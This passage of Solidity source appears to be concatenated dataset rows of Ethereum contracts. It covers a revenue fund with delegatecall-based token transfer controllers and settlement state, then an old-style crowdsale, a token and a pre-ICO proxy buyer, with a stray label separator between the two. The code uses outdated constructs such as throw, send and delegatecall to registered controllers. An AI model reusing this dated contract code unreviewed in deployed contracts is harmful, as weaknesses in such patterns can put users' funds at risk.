require(registeredCurrencies[currencyCt].standard != bytes32(0));
registeredCurrencies[currencyCt].blacklisted = true;
emit BlacklistCurrencyEvent(currencyCt);
}
function whitelistCurrency(address currencyCt)
external
onlyOperator
{
require(registeredCurrencies[currencyCt].standard != bytes32(0));
registeredCurrencies[currencyCt].blacklisted = false;
emit WhitelistCurrencyEvent(currencyCt);
}
function transferController(address currencyCt, string standard)
public
view
returns (TransferController)
{
if (bytes(standard).length > 0) {
bytes32 standardHash = keccak256(abi.encodePacked(standard));
require(registeredTransferControllers[standardHash] != address(0));
return TransferController(registeredTransferControllers[standardHash]);
}
require(registeredCurrencies[currencyCt].standard != bytes32(0));
require(!registeredCurrencies[currencyCt].blacklisted);
address controllerAddress = registeredTransferControllers[registeredCurrencies[currencyCt].standard];
require(controllerAddress != address(0));
return TransferController(controllerAddress);
}
}
contract TransferControllerManageable is Ownable {
TransferControllerManager public transferControllerManager;
event SetTransferControllerManagerEvent(TransferControllerManager oldTransferControllerManager,
TransferControllerManager newTransferControllerManager);
function setTransferControllerManager(TransferControllerManager newTransferControllerManager)
public
onlyDeployer
notNullAddress(newTransferControllerManager)
notSameAddresses(newTransferControllerManager, transferControllerManager)
{
TransferControllerManager oldTransferControllerManager = transferControllerManager;
transferControllerManager = newTransferControllerManager;
emit SetTransferControllerManagerEvent(oldTransferControllerManager, newTransferControllerManager);
}
function transferController(address currencyCt, string standard)
internal
view
returns (TransferController)
{
return transferControllerManager.transferController(currencyCt, standard);
}
modifier transferControllerManagerInitialized() {
require(transferControllerManager != address(0));
_;
}
}
library SafeMathUintLib {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
function clamp(uint256 a, uint256 min, uint256 max)
public
pure
returns (uint256)
{
return (a > max) ? max : ((a < min) ? min : a);
}
function clampMin(uint256 a, uint256 min)
public
pure
returns (uint256)
{
return (a < min) ? min : a;
}
function clampMax(uint256 a, uint256 max)
public
pure
returns (uint256)
{
return (a > max) ? max : a;
}
}
library CurrenciesLib {
using SafeMathUintLib for uint256;
struct Currencies {
MonetaryTypesLib.Currency[] currencies;
mapping(address => mapping(uint256 => uint256)) indexByCurrency;
}
function add(Currencies storage self, address currencyCt, uint256 currencyId)
internal
{
if (0 == self.indexByCurrency[currencyCt][currencyId]) {
self.currencies.push(MonetaryTypesLib.Currency(currencyCt, currencyId));
self.indexByCurrency[currencyCt][currencyId] = self.currencies.length;
}
}
function removeByCurrency(Currencies storage self, address currencyCt, uint256 currencyId)
internal
{
uint256 index = self.indexByCurrency[currencyCt][currencyId];
if (0 < index)
removeByIndex(self, index - 1);
}
function removeByIndex(Currencies storage self, uint256 index)
internal
{
require(index < self.currencies.length);
address currencyCt = self.currencies[index].ct;
uint256 currencyId = self.currencies[index].id;
if (index < self.currencies.length - 1) {
self.currencies[index] = self.currencies[self.currencies.length - 1];
self.indexByCurrency[self.currencies[index].ct][self.currencies[index].id] = index + 1;
}
self.currencies.length--;
self.indexByCurrency[currencyCt][currencyId] = 0;
}
function count(Currencies storage self)
internal
view
returns (uint256)
{
return self.currencies.length;
}
function has(Currencies storage self, address currencyCt, uint256 currencyId)
internal
view
returns (bool)
{
return 0 != self.indexByCurrency[currencyCt][currencyId];
}
function getByIndex(Currencies storage self, uint256 index)
internal
view
returns (MonetaryTypesLib.Currency)
{
require(index < self.currencies.length);
return self.currencies[index];
}
function getByIndices(Currencies storage self, uint256 low, uint256 up)
internal
view
returns (MonetaryTypesLib.Currency[])
{
require(0 < self.currencies.length);
require(low <= up);
up = up.clampMax(self.currencies.length - 1);
MonetaryTypesLib.Currency[] memory _currencies = new MonetaryTypesLib.Currency[](up - low + 1);
for (uint256 i = low; i <= up; i++)
_currencies[i - low] = self.currencies[i];
return _currencies;
}
}
library FungibleBalanceLib {
using SafeMathIntLib for int256;
using SafeMathUintLib for uint256;
using CurrenciesLib for CurrenciesLib.Currencies;
struct Record {
int256 amount;
uint256 blockNumber;
}
struct Balance {
mapping(address => mapping(uint256 => int256)) amountByCurrency;
mapping(address => mapping(uint256 => Record[])) recordsByCurrency;
CurrenciesLib.Currencies inUseCurrencies;
CurrenciesLib.Currencies everUsedCurrencies;
}
function get(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (int256)
{
return self.amountByCurrency[currencyCt][currencyId];
}
function getByBlockNumber(Balance storage self, address currencyCt, uint256 currencyId, uint256 blockNumber)
internal
view
returns (int256)
{
(int256 amount,) = recordByBlockNumber(self, currencyCt, currencyId, blockNumber);
return amount;
}
function set(Balance storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
self.amountByCurrency[currencyCt][currencyId] = amount;
self.recordsByCurrency[currencyCt][currencyId].push(
Record(self.amountByCurrency[currencyCt][currencyId], block.number)
);
updateCurrencies(self, currencyCt, currencyId);
}
function add(Balance storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].add(amount);
self.recordsByCurrency[currencyCt][currencyId].push(
Record(self.amountByCurrency[currencyCt][currencyId], block.number)
);
updateCurrencies(self, currencyCt, currencyId);
}
function sub(Balance storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].sub(amount);
self.recordsByCurrency[currencyCt][currencyId].push(
Record(self.amountByCurrency[currencyCt][currencyId], block.number)
);
updateCurrencies(self, currencyCt, currencyId);
}
function transfer(Balance storage _from, Balance storage _to, int256 amount,
address currencyCt, uint256 currencyId)
internal
{
sub(_from, amount, currencyCt, currencyId);
add(_to, amount, currencyCt, currencyId);
}
function add_nn(Balance storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].add_nn(amount);
self.recordsByCurrency[currencyCt][currencyId].push(
Record(self.amountByCurrency[currencyCt][currencyId], block.number)
);
updateCurrencies(self, currencyCt, currencyId);
}
function sub_nn(Balance storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].sub_nn(amount);
self.recordsByCurrency[currencyCt][currencyId].push(
Record(self.amountByCurrency[currencyCt][currencyId], block.number)
);
updateCurrencies(self, currencyCt, currencyId);
}
function transfer_nn(Balance storage _from, Balance storage _to, int256 amount,
address currencyCt, uint256 currencyId)
internal
{
sub_nn(_from, amount, currencyCt, currencyId);
add_nn(_to, amount, currencyCt, currencyId);
}
function recordsCount(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (uint256)
{
return self.recordsByCurrency[currencyCt][currencyId].length;
}
function recordByBlockNumber(Balance storage self, address currencyCt, uint256 currencyId, uint256 blockNumber)
internal
view
returns (int256, uint256)
{
uint256 index = indexByBlockNumber(self, currencyCt, currencyId, blockNumber);
return 0 < index ? recordByIndex(self, currencyCt, currencyId, index - 1) : (0, 0);
}
function recordByIndex(Balance storage self, address currencyCt, uint256 currencyId, uint256 index)
internal
view
returns (int256, uint256)
{
if (0 == self.recordsByCurrency[currencyCt][currencyId].length)
return (0, 0);
index = index.clampMax(self.recordsByCurrency[currencyCt][currencyId].length - 1);
Record storage record = self.recordsByCurrency[currencyCt][currencyId][index];
return (record.amount, record.blockNumber);
}
function lastRecord(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (int256, uint256)
{
if (0 == self.recordsByCurrency[currencyCt][currencyId].length)
return (0, 0);
Record storage record = self.recordsByCurrency[currencyCt][currencyId][self.recordsByCurrency[currencyCt][currencyId].length - 1];
return (record.amount, record.blockNumber);
}
function hasInUseCurrency(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (bool)
{
return self.inUseCurrencies.has(currencyCt, currencyId);
}
function hasEverUsedCurrency(Balance storage self, address currencyCt, uint256 currencyId)
internal
view
returns (bool)
{
return self.everUsedCurrencies.has(currencyCt, currencyId);
}
function updateCurrencies(Balance storage self, address currencyCt, uint256 currencyId)
internal
{
if (0 == self.amountByCurrency[currencyCt][currencyId] && self.inUseCurrencies.has(currencyCt, currencyId))
self.inUseCurrencies.removeByCurrency(currencyCt, currencyId);
else if (!self.inUseCurrencies.has(currencyCt, currencyId)) {
self.inUseCurrencies.add(currencyCt, currencyId);
self.everUsedCurrencies.add(currencyCt, currencyId);
}
}
function indexByBlockNumber(Balance storage self, address currencyCt, uint256 currencyId, uint256 blockNumber)
internal
view
returns (uint256)
{
if (0 == self.recordsByCurrency[currencyCt][currencyId].length)
return 0;
for (uint256 i = self.recordsByCurrency[currencyCt][currencyId].length; i > 0; i--)
if (self.recordsByCurrency[currencyCt][currencyId][i - 1].blockNumber <= blockNumber)
return i;
return 0;
}
}
library TxHistoryLib {
struct AssetEntry {
int256 amount;
uint256 blockNumber;
address currencyCt;
uint256 currencyId;
}
struct TxHistory {
AssetEntry[] deposits;
mapping(address => mapping(uint256 => AssetEntry[])) currencyDeposits;
AssetEntry[] withdrawals;
mapping(address => mapping(uint256 => AssetEntry[])) currencyWithdrawals;
}
function addDeposit(TxHistory storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
AssetEntry memory deposit = AssetEntry(amount, block.number, currencyCt, currencyId);
self.deposits.push(deposit);
self.currencyDeposits[currencyCt][currencyId].push(deposit);
}
function addWithdrawal(TxHistory storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
AssetEntry memory withdrawal = AssetEntry(amount, block.number, currencyCt, currencyId);
self.withdrawals.push(withdrawal);
self.currencyWithdrawals[currencyCt][currencyId].push(withdrawal);
}
function deposit(TxHistory storage self, uint index)
internal
view
returns (int256 amount, uint256 blockNumber, address currencyCt, uint256 currencyId)
{
require(index < self.deposits.length);
amount = self.deposits[index].amount;
blockNumber = self.deposits[index].blockNumber;
currencyCt = self.deposits[index].currencyCt;
currencyId = self.deposits[index].currencyId;
}
function depositsCount(TxHistory storage self)
internal
view
returns (uint256)
{
return self.deposits.length;
}
function currencyDeposit(TxHistory storage self, address currencyCt, uint256 currencyId, uint index)
internal
view
returns (int256 amount, uint256 blockNumber)
{
require(index < self.currencyDeposits[currencyCt][currencyId].length);
amount = self.currencyDeposits[currencyCt][currencyId][index].amount;
blockNumber = self.currencyDeposits[currencyCt][currencyId][index].blockNumber;
}
function currencyDepositsCount(TxHistory storage self, address currencyCt, uint256 currencyId)
internal
view
returns (uint256)
{
return self.currencyDeposits[currencyCt][currencyId].length;
}
function withdrawal(TxHistory storage self, uint index)
internal
view
returns (int256 amount, uint256 blockNumber, address currencyCt, uint256 currencyId)
{
require(index < self.withdrawals.length);
amount = self.withdrawals[index].amount;
blockNumber = self.withdrawals[index].blockNumber;
currencyCt = self.withdrawals[index].currencyCt;
currencyId = self.withdrawals[index].currencyId;
}
function withdrawalsCount(TxHistory storage self)
internal
view
returns (uint256)
{
return self.withdrawals.length;
}
function currencyWithdrawal(TxHistory storage self, address currencyCt, uint256 currencyId, uint index)
internal
view
returns (int256 amount, uint256 blockNumber)
{
require(index < self.currencyWithdrawals[currencyCt][currencyId].length);
amount = self.currencyWithdrawals[currencyCt][currencyId][index].amount;
blockNumber = self.currencyWithdrawals[currencyCt][currencyId][index].blockNumber;
}
function currencyWithdrawalsCount(TxHistory storage self, address currencyCt, uint256 currencyId)
internal
view
returns (uint256)
{
return self.currencyWithdrawals[currencyCt][currencyId].length;
}
}
contract RevenueFund is Ownable, AccrualBeneficiary, AccrualBenefactor, TransferControllerManageable {
using FungibleBalanceLib for FungibleBalanceLib.Balance;
using TxHistoryLib for TxHistoryLib.TxHistory;
using SafeMathIntLib for int256;
using SafeMathUintLib for uint256;
using CurrenciesLib for CurrenciesLib.Currencies;
FungibleBalanceLib.Balance periodAccrual;
CurrenciesLib.Currencies periodCurrencies;
FungibleBalanceLib.Balance aggregateAccrual;
CurrenciesLib.Currencies aggregateCurrencies;
TxHistoryLib.TxHistory private txHistory;
event ReceiveEvent(address from, int256 amount, address currencyCt, uint256 currencyId);
event CloseAccrualPeriodEvent();
event RegisterServiceEvent(address service);
event DeregisterServiceEvent(address service);
constructor(address deployer) Ownable(deployer) public {
}
function() public payable {
receiveEthersTo(msg.sender, "");
}
function receiveEthersTo(address wallet, string)
public
payable
{
int256 amount = SafeMathIntLib.toNonZeroInt256(msg.value);
periodAccrual.add(amount, address(0), 0);
aggregateAccrual.add(amount, address(0), 0);
periodCurrencies.add(address(0), 0);
aggregateCurrencies.add(address(0), 0);
txHistory.addDeposit(amount, address(0), 0);
emit ReceiveEvent(wallet, amount, address(0), 0);
}
function receiveTokens(string balanceType, int256 amount, address currencyCt,
uint256 currencyId, string standard)
public
{
receiveTokensTo(msg.sender, balanceType, amount, currencyCt, currencyId, standard);
}
function receiveTokensTo(address wallet, string, int256 amount,
address currencyCt, uint256 currencyId, string standard)
public
{
require(amount.isNonZeroPositiveInt256());
TransferController controller = transferController(currencyCt, standard);
require(
address(controller).delegatecall(
controller.getReceiveSignature(), msg.sender, this, uint256(amount), currencyCt, currencyId
)
);
periodAccrual.add(amount, currencyCt, currencyId);
aggregateAccrual.add(amount, currencyCt, currencyId);
periodCurrencies.add(currencyCt, currencyId);
aggregateCurrencies.add(currencyCt, currencyId);
txHistory.addDeposit(amount, currencyCt, currencyId);
emit ReceiveEvent(wallet, amount, currencyCt, currencyId);
}
function periodAccrualBalance(address currencyCt, uint256 currencyId)
public
view
returns (int256)
{
return periodAccrual.get(currencyCt, currencyId);
}
function aggregateAccrualBalance(address currencyCt, uint256 currencyId)
public
view
returns (int256)
{
return aggregateAccrual.get(currencyCt, currencyId);
}
function periodCurrenciesCount()
public
view
returns (uint256)
{
return periodCurrencies.count();
}
function periodCurrenciesByIndices(uint256 low, uint256 up)
public
view
returns (MonetaryTypesLib.Currency[])
{
return periodCurrencies.getByIndices(low, up);
}
function aggregateCurrenciesCount()
public
view
returns (uint256)
{
return aggregateCurrencies.count();
}
function aggregateCurrenciesByIndices(uint256 low, uint256 up)
public
view
returns (MonetaryTypesLib.Currency[])
{
return aggregateCurrencies.getByIndices(low, up);
}
function depositsCount()
public
view
returns (uint256)
{
return txHistory.depositsCount();
}
function deposit(uint index)
public
view
returns (int256 amount, uint256 blockNumber, address currencyCt, uint256 currencyId)
{
return txHistory.deposit(index);
}
function closeAccrualPeriod(MonetaryTypesLib.Currency[] currencies)
public
onlyOperator
{
require(ConstantsLib.PARTS_PER() == totalBeneficiaryFraction);
for (uint256 i = 0; i < currencies.length; i++) {
MonetaryTypesLib.Currency memory currency = currencies[i];
int256 remaining = periodAccrual.get(currency.ct, currency.id);
if (0 >= remaining)
continue;
for (uint256 j = 0; j < beneficiaries.length; j++) {
address beneficiaryAddress = beneficiaries[j];
if (beneficiaryFraction(beneficiaryAddress) > 0) {
int256 transferable = periodAccrual.get(currency.ct, currency.id)
.mul(beneficiaryFraction(beneficiaryAddress))
.div(ConstantsLib.PARTS_PER());
if (transferable > remaining)
transferable = remaining;
if (transferable > 0) {
if (currency.ct == address(0))
AccrualBeneficiary(beneficiaryAddress).receiveEthersTo.value(uint256(transferable))(address(0), "");
else {
TransferController controller = transferController(currency.ct, "");
require(
address(controller).delegatecall(
controller.getApproveSignature(), beneficiaryAddress, uint256(transferable), currency.ct, currency.id
)
);
AccrualBeneficiary(beneficiaryAddress).receiveTokensTo(address(0), "", transferable, currency.ct, currency.id, "");
}
remaining = remaining.sub(transferable);
}
}
}
periodAccrual.set(remaining, currency.ct, currency.id);
}
for (j = 0; j < beneficiaries.length; j++) {
beneficiaryAddress = beneficiaries[j];
if (0 >= beneficiaryFraction(beneficiaryAddress))
continue;
AccrualBeneficiary(beneficiaryAddress).closeAccrualPeriod(currencies);
}
emit CloseAccrualPeriodEvent();
}
}
contract NullSettlementState is Ownable, Servable, CommunityVotable {
using SafeMathIntLib for int256;
using SafeMathUintLib for uint256;
string constant public SET_MAX_NULL_NONCE_ACTION = "set_max_null_nonce";
string constant public SET_MAX_NONCE_WALLET_CURRENCY_ACTION = "set_max_nonce_wallet_currency";
uint256 public maxNullNonce;
mapping(address => mapping(address => mapping(uint256 => uint256))) public walletCurrencyMaxNonce;
event SetMaxNullNonceEvent(uint256 maxNullNonce);
event SetMaxNonceByWalletAndCurrencyEvent(address wallet, MonetaryTypesLib.Currency currency,
uint256 maxNullNonce);
event updateMaxNullNonceFromCommunityVoteEvent(uint256 maxDriipNonce);
constructor(address deployer) Ownable(deployer) public {
}
function setMaxNullNonce(uint256 _maxNullNonce)
public
onlyEnabledServiceAction(SET_MAX_NULL_NONCE_ACTION)
{
maxNullNonce = _maxNullNonce;
emit SetMaxNullNonceEvent(_maxNullNonce);
}
function maxNonceByWalletAndCurrency(address wallet, MonetaryTypesLib.Currency currency)
public
view
returns (uint256) {
return walletCurrencyMaxNonce[wallet][currency.ct][currency.id];
}
function setMaxNonceByWalletAndCurrency(address wallet, MonetaryTypesLib.Currency currency,
uint256 _maxNullNonce)
public
onlyEnabledServiceAction(SET_MAX_NONCE_WALLET_CURRENCY_ACTION)
{
walletCurrencyMaxNonce[wallet][currency.ct][currency.id] = _maxNullNonce;
emit SetMaxNonceByWalletAndCurrencyEvent(wallet, currency, _maxNullNonce);
}
function updateMaxNullNonceFromCommunityVote()
public
{
uint256 _maxNullNonce = communityVote.getMaxNullNonce();
if (0 == _maxNullNonce)
return;
maxNullNonce = _maxNullNonce;
emit updateMaxNullNonceFromCommunityVoteEvent(maxNullNonce);
}
} | 0 | 488 |
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract PreICOProxyBuyer is Ownable, Haltable, SafeMath {
uint public investorCount;
uint public weiRaisedTotal;
address[] public investors;
mapping(address => uint) public balances;
mapping(address => uint) public claimed;
uint public freezeEndsAt;
uint public weiMinimumLimit;
uint public weiCap;
uint public tokensBought;
uint public claimCount;
uint public totalClaimed;
Crowdsale public crowdsale;
enum State{Unknown, Funding, Distributing, Refunding}
event Invested(address investor, uint value);
event Refunded(address investor, uint value);
event TokensBoughts(uint count);
event Distributed(address investors, uint count);
function PreICOProxyBuyer(address _owner, uint _freezeEndsAt, uint _weiMinimumLimit, uint _weiCap) {
owner = _owner;
if(_freezeEndsAt == 0) {
throw;
}
if(_weiMinimumLimit == 0) {
throw;
}
weiMinimumLimit = _weiMinimumLimit;
weiCap = _weiCap;
freezeEndsAt = _freezeEndsAt;
}
function getToken() public constant returns(FractionalERC20) {
if(address(crowdsale) == 0) {
throw;
}
return crowdsale.token();
}
function invest() public stopInEmergency payable {
if(getState() != State.Funding) throw;
if(msg.value == 0) throw;
address investor = msg.sender;
bool existing = balances[investor] > 0;
balances[investor] = safeAdd(balances[investor], msg.value);
if(balances[investor] < weiMinimumLimit) {
throw;
}
if(!existing) {
investors.push(investor);
investorCount++;
}
weiRaisedTotal = safeAdd(weiRaisedTotal, msg.value);
if(weiRaisedTotal > weiCap) {
throw;
}
Invested(investor, msg.value);
}
function buyForEverybody() stopInEmergency public {
if(getState() != State.Funding) {
throw;
}
if(address(crowdsale) == 0) throw;
crowdsale.invest.value(weiRaisedTotal)(address(this));
tokensBought = getToken().balanceOf(address(this));
if(tokensBought == 0) {
throw;
}
TokensBoughts(tokensBought);
}
function getClaimAmount(address investor) public constant returns (uint) {
if(getState() != State.Distributing) {
throw;
}
return safeMul(balances[investor], tokensBought) / weiRaisedTotal;
}
